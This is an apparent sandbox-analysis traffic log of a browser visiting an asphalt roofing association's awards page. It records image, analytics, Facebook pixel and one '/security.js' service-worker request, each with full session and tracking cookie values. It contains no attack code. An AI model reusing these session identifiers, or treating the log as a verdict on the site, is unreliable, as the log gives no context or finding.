Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-300x174.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-300x174.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/09/ARMA_ARMA-Excellence-Logo-300x147.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard1_InTheNeighborhood.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard3_Craftsmanship.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-BRONZE-300x174.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-SILVER-300x174.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/button_click-here-to-view-armas-submission-tip-sheet-600x52.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/ARMA_ARMA-Excellence-Logo-GOLD-300x174.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/2024AwardsBanner-Submit.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-600x600.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/excellence/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard1_InTheNeighborhood.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/button_click-here-to-view-armas-submission-tip-sheet-600x52.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard4_TechnicalDifficulty.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard3_Craftsmanship.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/WebCard2_CommericlaMixedUse.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884076727 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-600x600.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884077240&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884077240&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884077797 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/excellence/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 